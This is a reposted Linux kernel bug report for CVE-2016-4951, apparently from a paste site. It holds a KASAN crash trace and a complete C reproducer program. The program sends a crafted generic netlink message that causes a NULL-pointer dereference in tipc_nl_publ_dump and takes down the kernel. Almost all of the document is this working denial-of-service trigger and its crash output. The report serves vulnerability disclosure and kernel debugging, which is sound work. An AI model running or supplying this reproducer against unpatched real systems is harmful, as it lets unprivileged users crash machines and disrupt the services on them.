CVE-2016-4951 Denial Of Service Linux Kernel


SUBMITTED BY: parthenos

DATE: May 27, 2016, 10:43 a.m.

FORMAT: Text only

SIZE: 7.1 kB

HITS: 29748

  1. ello all,
  2. The following program triggers NULL-ptr dereference in
  3. tipc_nl_publ_dump. The kernel version is 4.6.0-rc7+ (on May 13 commit
  4. 1410b74e4061e05a5d2bffb1f99829efce27c8a9). Thanks.
  5. ----------------------------------------------------------------------------------
  6. netlink: 1 bytes leftover after parsing attributes in process
  7. `syz-executor'.
  8. kasan: CONFIG_KASAN_INLINE enabled
  9. kasan: GPF could be caused by NULL-ptr deref or user memory
  10. accessgeneral protection fault: 0000 [#1] SMP KASAN
  11. Modules linked in:
  12. CPU: 2 PID: 1346 Comm: syz-executor Not tainted 4.6.0-rc7+ #2
  13. Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
  14. Ubuntu-1.8.2-1ubuntu1 04/01/2014
  15. task: ffff88001eb1dd40 ti: ffff88001bd98000 task.ti: ffff88001bd98000
  16. RIP: 0010:[<ffffffff85940bb9>] [<ffffffff85940bb9>]
  17. tipc_nl_publ_dump+0xa39/0xdf0
  18. RSP: 0018:ffff88001bd9f428 EFLAGS: 00010246
  19. RAX: dffffc0000000000 RBX: ffff88003562efc0 RCX: ffffc900012c7000
  20. RDX: 0000000000000000 RSI: ffff880036215d98 RDI: ffff8800196fda98
  21. RBP: ffff88001bd9f678 R08: 0000000000000001 R09: 0000000000000000
  22. R10: ffffed00032dfb5a R11: 1ffffffff1131255 R12: 0000000000000000
  23. R13: ffff88002d0f8040 R14: 0000000000000000 R15: ffff88002ea220a8
  24. FS: 00007f0b7c70f700(0000) GS:ffff880036200000(0000) knlGS:0000000000000000
  25. CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  26. CR2: 0000000020b5d7f2 CR3: 00000000301fe000 CR4: 00000000000006e0
  27. Stack:
  28. 0000000000000000 ffff88002ea22100 ffff88002ea220f8 ffff88002ea220f0
  29. 000000001bd9f520 1ffff100037b3e92 ffff88002ea220b0 ffff88001bd9f498
  30. ffffffff815bcc6e ffff880036223e40 ffff88002fd60008 0000000000000000
  31. Call Trace:
  32. [<ffffffff84b9d298>] genl_lock_dumpit+0x68/0x90
  33. net/netlink/genetlink.c:517
  34. [<ffffffff84b9250a>] netlink_dump+0x36a/0xa40
  35. net/netlink/af_netlink.c:2108
  36. [<ffffffff84b95349>] __netlink_dump_start+0x4e9/0x760
  37. net/netlink/af_netlink.c:2196
  38. [<ffffffff84b9e5f1>] genl_family_rcv_msg+0xa91/0xc30
  39. net/netlink/genetlink.c:584
  40. [<ffffffff84b9e93b>] genl_rcv_msg+0x1ab/0x260 net/netlink/genetlink.c:658
  41. [<ffffffff84b9ca3c>] netlink_rcv_skb+0x29c/0x390
  42. net/netlink/af_netlink.c:2277
  43. [<ffffffff84b9db48>] genl_rcv+0x28/0x40 net/netlink/genetlink.c:669
  44. [< inline >] netlink_unicast_kernel net/netlink/af_netlink.c:1214
  45. [<ffffffff84b9b352>] netlink_unicast+0x5a2/0x890
  46. net/netlink/af_netlink.c:1240
  47. [<ffffffff84b9bfc1>] netlink_sendmsg+0x981/0xcb0
  48. net/netlink/af_netlink.c:1786
  49. [< inline >] sock_sendmsg_nosec net/socket.c:612
  50. [<ffffffff849ee09a>] sock_sendmsg+0xca/0x110 net/socket.c:622
  51. [<ffffffff849efee8>] ___sys_sendmsg+0x728/0x860 net/socket.c:1946
  52. [<ffffffff849f1ed1>] __sys_sendmsg+0xd1/0x170 net/socket.c:1980
  53. [< inline >] SYSC_sendmsg net/socket.c:1991
  54. [<ffffffff849f1f9d>] SyS_sendmsg+0x2d/0x50 net/socket.c:1987
  55. [<ffffffff85b4b340>] entry_SYSCALL_64_fastpath+0x23/0xc1
  56. arch/x86/entry/entry_64.S:207
  57. Code: df 49 8d 7e 10 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 df 01 00 00
  58. 4d 8b 76 10 48 b8 00 00 00 00 00 fc ff df 4c 89 f2 48 c1 ea 03 <0f> b6
  59. 14 02 4c 89 f0 83 e0 07 83 c0 01 38 d0 7c 08 84 d2 0f 85
  60. RIP [<ffffffff85940bb9>] tipc_nl_publ_dump+0xa39/0xdf0
  61. net/tipc/socket.c:2810
  62. RSP <ffff88001bd9f428>
  63. ---[ end trace e8355fded2057a4f ]---
  64. #include <unistd.h>
  65. #include <sys/syscall.h>
  66. #include <stdint.h>
  67. #include <sys/socket.h>
  68. #include <sys/mman.h>
  69. #include <linux/netlink.h>
  70. int main()
  71. {
  72. mmap((void *)0x20000000ul, 0xd7f000ul, PROT_READ|PROT_WRITE,
  73. MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
  74. int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
  75. *(uint64_t*)0x20000363 = (uint64_t)0x0;
  76. *(uint32_t*)0x2000036b = (uint32_t)0x0;
  77. *(uint64_t*)0x20000373 = (uint64_t)0x20001ff0;
  78. *(uint64_t*)0x2000037b = (uint64_t)0x1;
  79. *(uint64_t*)0x20000383 = (uint64_t)0x20aab000;
  80. *(uint64_t*)0x2000038b = (uint64_t)0x5;
  81. *(uint32_t*)0x20000393 = (uint32_t)0x81;
  82. *(uint64_t*)0x20001ff0 = (uint64_t)0x20001000;
  83. *(uint64_t*)0x20001ff8 = (uint64_t)0x3e;
  84. *(uint32_t*)0x20001000 = (uint32_t)0x15;
  85. *(uint16_t*)0x20001004 = (uint16_t)0x22;
  86. *(uint16_t*)0x20001006 = (uint16_t)0x71b;
  87. *(uint32_t*)0x20001008 = (uint32_t)0x2;
  88. *(uint32_t*)0x2000100c = (uint32_t)0x2;
  89. *(uint8_t*)0x20001010 = (uint8_t)0x7;
  90. *(uint8_t*)0x20001011 = (uint8_t)0x8;
  91. *(uint8_t*)0x20001012 = (uint8_t)0xa0ad8f89e1b1651f;
  92. *(uint8_t*)0x20001013 = (uint8_t)0x44;
  93. *(uint8_t*)0x20001014 = (uint8_t)0x1;
  94. *(uint32_t*)0x20001015 = (uint32_t)0x15;
  95. *(uint16_t*)0x20001019 = (uint16_t)0xfffffffffffffffa;
  96. *(uint16_t*)0x2000101b = (uint16_t)0x100;
  97. *(uint32_t*)0x2000101d = (uint32_t)0x1ff;
  98. *(uint32_t*)0x20001021 = (uint32_t)0x4;
  99. *(uint8_t*)0x20001025 = (uint8_t)0x3;
  100. *(uint8_t*)0x20001026 = (uint8_t)0x7;
  101. *(uint8_t*)0x20001027 = (uint8_t)0x4;
  102. *(uint8_t*)0x20001028 = (uint8_t)0x2;
  103. *(uint8_t*)0x20001029 = (uint8_t)0x9;
  104. *(uint32_t*)0x2000102a = (uint32_t)0x14;
  105. *(uint16_t*)0x2000102e = (uint16_t)0x1;
  106. *(uint16_t*)0x20001030 = (uint16_t)0x400;
  107. *(uint32_t*)0x20001032 = (uint32_t)0x80000000;
  108. *(uint32_t*)0x20001036 = (uint32_t)0x60;
  109. *(uint8_t*)0x2000103a = (uint8_t)0x1;
  110. *(uint8_t*)0x2000103b = (uint8_t)0x1ff;
  111. *(uint8_t*)0x2000103c = (uint8_t)0x3ff;
  112. *(uint8_t*)0x2000103d = (uint8_t)0x3;
  113. *(uint64_t*)0x20aab020 = (uint64_t)0x20;
  114. *(uint32_t*)0x20aab028 = (uint32_t)0x1;
  115. *(uint32_t*)0x20aab02c = (uint32_t)0x2;
  116. *(uint32_t*)0x20aab030 = (uint32_t)0x0;
  117. *(uint32_t*)0x20aab034 = (uint32_t)0x0;
  118. *(uint32_t*)0x20aab038 = (uint32_t)0x0;
  119. *(uint64_t*)0x20aab050 = (uint64_t)0x10;
  120. *(uint32_t*)0x20aab058 = (uint32_t)0x1;
  121. *(uint32_t*)0x20aab05c = (uint32_t)0x1;
  122. *(uint64_t*)0x20aab084 = (uint64_t)0x24;
  123. *(uint32_t*)0x20aab08c = (uint32_t)0x1;
  124. *(uint32_t*)0x20aab090 = (uint32_t)0x1;
  125. *(uint32_t*)0x20aab094 = sock;
  126. *(uint32_t*)0x20aab098 = sock;
  127. *(uint32_t*)0x20aab09c = sock;
  128. *(uint32_t*)0x20aab0a0 = sock;
  129. *(uint32_t*)0x20aab0a4 = sock;
  130. *(uint64_t*)0x20aab0c8 = (uint64_t)0x20;
  131. *(uint32_t*)0x20aab0d0 = (uint32_t)0x1;
  132. *(uint32_t*)0x20aab0d4 = (uint32_t)0x2;
  133. *(uint32_t*)0x20aab0d8 = (uint32_t)0x0;
  134. *(uint32_t*)0x20aab0dc = (uint32_t)0x0;
  135. *(uint32_t*)0x20aab0e0 = (uint32_t)0x0;
  136. *(uint64_t*)0x20aab108 = (uint64_t)0x20;
  137. *(uint32_t*)0x20aab110 = (uint32_t)0x1;
  138. *(uint32_t*)0x20aab114 = (uint32_t)0x2;
  139. *(uint32_t*)0x20aab118 = (uint32_t)0x0;
  140. *(uint32_t*)0x20aab11c = (uint32_t)0x0;
  141. *(uint32_t*)0x20aab120 = (uint32_t)0x0;
  142. sendmsg(sock, (struct msghdr *)0x20000363ul, 0x800ul);
  143. return 0;
  144. }

comments powered by Disqus